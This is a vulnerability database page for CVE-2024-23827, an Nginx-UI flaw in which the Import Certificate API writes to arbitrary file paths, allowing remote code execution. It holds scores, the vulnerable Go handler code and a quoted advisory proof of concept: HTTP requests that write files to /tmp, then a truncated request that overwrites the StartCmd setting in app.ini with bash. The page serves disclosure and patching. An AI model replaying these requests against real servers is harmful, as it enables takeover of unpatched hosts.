Every CVE Search/ Get API key

CVE-2024-23827

Nginx-UI arbitrary file write through the Import Certificate feature

9.8 CriticalFix available

Nginx-UI is a web interface to manage Nginx configurations. The Import Certificate feature allows arbitrary write into the system. The feature does not check if the provided user input is a certification/key and allows to write into arbitrary paths in the system. It's possible to leverage the vulnerability into a remote code execution overwriting the config file app.ini. Version 2.0.0.beta.12 fixed the issue.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
High

Exploit likelihood

0.70%Up 0.7 points since Jan 31, 2024
90%50%10%1%

What each source reports

CVE List Score used 9.8

Nginx-UI arbitrary file write through the Import Certificate feature

Nginx-UI is a web interface to manage Nginx configurations. The Import Certificate feature allows arbitrary write into the system. The feature does not check if the provided user input is a certification/key and allows to write into arbitrary paths in the system. It's possible to leverage the vulnerability into a remote code execution overwriting the config file app.ini. Version 2.0.0.beta.12 fixed the issue.

Record
CVE-2024-23827
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-22
Updated
2026-11-02
EUVDEUVD-2024-0460 9.8

Nginx-UI is a web interface to manage Nginx configurations. The Import Certificate feature allows arbitrary write into the system. The feature does not check if the provided user input is a certification/key and allows to write into arbitrary paths in the system. It's possible to leverage the vulnerability into a remote code execution overwriting the config file app.ini. Version 2.0.0.beta.12 fixed the issue.

Record
EUVD-2024-0460
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-03
GitHub AdvisoriesGHSA-xvq9-4vpv-227m 9.3

Nginx-UI vulnerable to arbitrary file write through the Import Certificate feature

Summary

The Import Certificate feature allows arbitrary write into the system. The feature does not check if the provided user input is a certification/key and allows to write into arbitrary paths in the system.

https://github.com/0xJacky/nginx-ui/blob/f20d97a9fdc2a83809498b35b6abc0239ec7fdda/api/certificate/certificate.go#L72

func AddCert(c *gin.Context) {
	var json struct {
		Name                  string `json:"name"`
		SSLCertificatePath    string `json:"ssl_certificate_path" binding:"required"`
		SSLCertificateKeyPath string `json:"ssl_certificate_key_path" binding:"required"`
		SSLCertificate        string `json:"ssl_certificate"`
		SSLCertificateKey     string `json:"ssl_certificate_key"`
		ChallengeMethod       string `json:"challenge_method"`
		DnsCredentialID       int    `json:"dns_credential_id"`
	}
	if !api.BindAndValid(c, &json) {
		return
	}
	certModel := &model.Cert{
		Name:                  json.Name,
		SSLCertificatePath:    json.SSLCertificatePath,
		SSLCertificateKeyPath: json.SSLCertificateKeyPath,
		ChallengeMethod:       json.ChallengeMethod,
		DnsCredentialID:       json.DnsCredentialID,
	}

	err := certModel.Insert()

	if err != nil {
		api.ErrHandler(c, err)
		return
	}

	content := &cert.Content{
		SSLCertificatePath:    json.SSLCertificatePath,
		SSLCertificateKeyPath: json.SSLCertificateKeyPath,
		SSLCertificate:        json.SSLCertificate,
		SSLCertificateKey:     json.SSLCertificateKey,
	}

	err = content.WriteFile()

	if err != nil {
		api.ErrHandler(c, err)
		return
	}

	c.JSON(http.StatusOK, Transformer(certModel))
}

https://github.com/0xJacky/nginx-ui/blob/f20d97a9fdc2a83809498b35b6abc0239ec7fdda/internal/cert/write_file.go#L15

func (c *Content) WriteFile() (err error) {
	// MkdirAll creates a directory named path, along with any necessary parents,
	// and returns nil, or else returns an error.
	// The permission bits perm (before umask) are used for all directories that MkdirAll creates.
	// If path is already a directory, MkdirAll does nothing and returns nil.

	err = os.MkdirAll(filepath.Dir(c.SSLCertificatePath), 0644)
	if err != nil {
		return
	}

	err = os.MkdirAll(filepath.Dir(c.SSLCertificateKeyPath), 0644)
	if err != nil {
		return
	}

	if c.SSLCertificate != "" {
		err = os.WriteFile(c.SSLCertificatePath, []byte(c.SSLCertificate), 0644)
		if err != nil {
			return
		}
	}

	if c.SSLCertificateKey != "" {
		err = os.WriteFile(c.SSLCertificateKeyPath, []byte(c.SSLCertificateKey), 0644)
		if err != nil {
			return
		}
	}

	return
}

PoC

POST /api/cert HTTP/1.1
Host: 127.0.0.1:9000
Content-Length: 144
Accept: application/json, text/plain, */*
Authorization: <JWT>
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Content-Type: application/json
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,fr;q=0.7
Connection: close

{"name":"poc","ssl_certificate_path":"/tmp/test","ssl_certificate_key_path":"/tmp/test2","ssl_certificate":"test","ssl_certificate_key":"test2"}
root@aze:~/nginx# ls -la /tmp/test*
-rw-r--r-- 1 root root 4 Jan 24 13:33 /tmp/test
-rw-r--r-- 1 root root 5 Jan 24 13:33 /tmp/test2

It's possible to leverage it into an RCE in a senario by overwriting the config file app.ini - But it will require the app.

root@aze:~/nginx# cat app.ini  | grep "StartCmd"
StartCmd          = login

Then we overwrite the StartCmd with bash

POST /api/cert HTTP/1.1
Host: 127.0.0.1:9000
Content-Length: 980
Accept: application/json, text/plain, */*
Authorization: <JWT>
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Content-Type: application/json
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,fr;q=0.7
Connection: close
…
Record
GHSA-xvq9-4vpv-227m
CVSS 4.0
9.3 CriticalCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-22
Updated
2026-11-02
NVD 9.8

Nginx-UI is a web interface to manage Nginx configurations. The Import Certificate feature allows arbitrary write into the system. The feature does not check if the provided user input is a certification/key and allows to write into arbitrary paths in the system. It's possible to leverage the vulnerability into a remote code execution overwriting the config file app.ini. Version 2.0.0.beta.12 fixed the issue.

Record
CVE-2024-23827
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-22
Updated
2026-11-02
OSV 9.8

Nginx-UI arbitrary file write through the Import Certificate feature

Nginx-UI is a web interface to manage Nginx configurations. The Import Certificate feature allows arbitrary write into the system. The feature does not check if the provided user input is a certification/key and allows to write into arbitrary paths in the system. It's possible to leverage the vulnerability into a remote code execution overwriting the config file app.ini. Version 2.0.0.beta.12 fixed the issue.

Record
CVE-2024-23827
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-22
Updated
2026-11-02
OSVGHSA-xvq9-4vpv-227m 9.3

Nginx-UI vulnerable to arbitrary file write through the Import Certificate feature

Summary

The Import Certificate feature allows arbitrary write into the system. The feature does not check if the provided user input is a certification/key and allows to write into arbitrary paths in the system.

https://github.com/0xJacky/nginx-ui/blob/f20d97a9fdc2a83809498b35b6abc0239ec7fdda/api/certificate/certificate.go#L72

func AddCert(c *gin.Context) {
	var json struct {
		Name                  string `json:"name"`
		SSLCertificatePath    string `json:"ssl_certificate_path" binding:"required"`
		SSLCertificateKeyPath string `json:"ssl_certificate_key_path" binding:"required"`
		SSLCertificate        string `json:"ssl_certificate"`
		SSLCertificateKey     string `json:"ssl_certificate_key"`
		ChallengeMethod       string `json:"challenge_method"`
		DnsCredentialID       int    `json:"dns_credential_id"`
	}
	if !api.BindAndValid(c, &json) {
		return
	}
	certModel := &model.Cert{
		Name:                  json.Name,
		SSLCertificatePath:    json.SSLCertificatePath,
		SSLCertificateKeyPath: json.SSLCertificateKeyPath,
		ChallengeMethod:       json.ChallengeMethod,
		DnsCredentialID:       json.DnsCredentialID,
	}

	err := certModel.Insert()

	if err != nil {
		api.ErrHandler(c, err)
		return
	}

	content := &cert.Content{
		SSLCertificatePath:    json.SSLCertificatePath,
		SSLCertificateKeyPath: json.SSLCertificateKeyPath,
		SSLCertificate:        json.SSLCertificate,
		SSLCertificateKey:     json.SSLCertificateKey,
	}

	err = content.WriteFile()

	if err != nil {
		api.ErrHandler(c, err)
		return
	}

	c.JSON(http.StatusOK, Transformer(certModel))
}

https://github.com/0xJacky/nginx-ui/blob/f20d97a9fdc2a83809498b35b6abc0239ec7fdda/internal/cert/write_file.go#L15

func (c *Content) WriteFile() (err error) {
	// MkdirAll creates a directory named path, along with any necessary parents,
	// and returns nil, or else returns an error.
	// The permission bits perm (before umask) are used for all directories that MkdirAll creates.
	// If path is already a directory, MkdirAll does nothing and returns nil.

	err = os.MkdirAll(filepath.Dir(c.SSLCertificatePath), 0644)
	if err != nil {
		return
	}

	err = os.MkdirAll(filepath.Dir(c.SSLCertificateKeyPath), 0644)
	if err != nil {
		return
	}

	if c.SSLCertificate != "" {
		err = os.WriteFile(c.SSLCertificatePath, []byte(c.SSLCertificate), 0644)
		if err != nil {
			return
		}
	}

	if c.SSLCertificateKey != "" {
		err = os.WriteFile(c.SSLCertificateKeyPath, []byte(c.SSLCertificateKey), 0644)
		if err != nil {
			return
		}
	}

	return
}

PoC

POST /api/cert HTTP/1.1
Host: 127.0.0.1:9000
Content-Length: 144
Accept: application/json, text/plain, */*
Authorization: <JWT>
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Content-Type: application/json
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,fr;q=0.7
Connection: close

{"name":"poc","ssl_certificate_path":"/tmp/test","ssl_certificate_key_path":"/tmp/test2","ssl_certificate":"test","ssl_certificate_key":"test2"}
root@aze:~/nginx# ls -la /tmp/test*
-rw-r--r-- 1 root root 4 Jan 24 13:33 /tmp/test
-rw-r--r-- 1 root root 5 Jan 24 13:33 /tmp/test2

It's possible to leverage it into an RCE in a senario by overwriting the config file app.ini - But it will require the app.

root@aze:~/nginx# cat app.ini  | grep "StartCmd"
StartCmd          = login

Then we overwrite the StartCmd with bash

POST /api/cert HTTP/1.1
Host: 127.0.0.1:9000
Content-Length: 980
Accept: application/json, text/plain, */*
Authorization: <JWT>
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Content-Type: application/json
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,fr;q=0.7
Connection: close
…
Record
GHSA-xvq9-4vpv-227m
CVSS 4.0
9.3 CriticalCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-22
Updated
2026-11-02
OSVGO-2024-2481 No score

Nginx-UI vulnerable to arbitrary file write through the Import Certificate feature in github.com/0xJacky/Nginx-UI

Nginx-UI vulnerable to arbitrary file write through the Import Certificate feature in github.com/0xJacky/Nginx-UI.

NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.

(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)

The additional affected modules and versions are: github.com/0xJacky/Nginx-UI before v2.0.0-beta.12.

Record
GO-2024-2481
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
github.com/0xJacky/Nginx-UI
Go
before 1.9.10-0.20240128060047-8581bdd3c6f4
1.9.10-0.20240128060047-8581bdd3c6f4
github.com/0xJacky/Nginx-UI
Go
All versions None known

History

History
RecordedChangedSources
aliases, publishedEUVD
first indexedCVE List, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2024-23827 is a critical vulnerability (CVSS 9.8) in 0xjacky Nginx-ui, published January 29, 2024. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.70%, the 53rd percentile. Fixed in github.com/0xJacky/Nginx-UI 1.9.10-0.20240128060047-8581bdd3c6f4.

References

This page doesn't list everything

Left out here: the rest of 2 source descriptions. The JSON record has them.

MoveEnter Open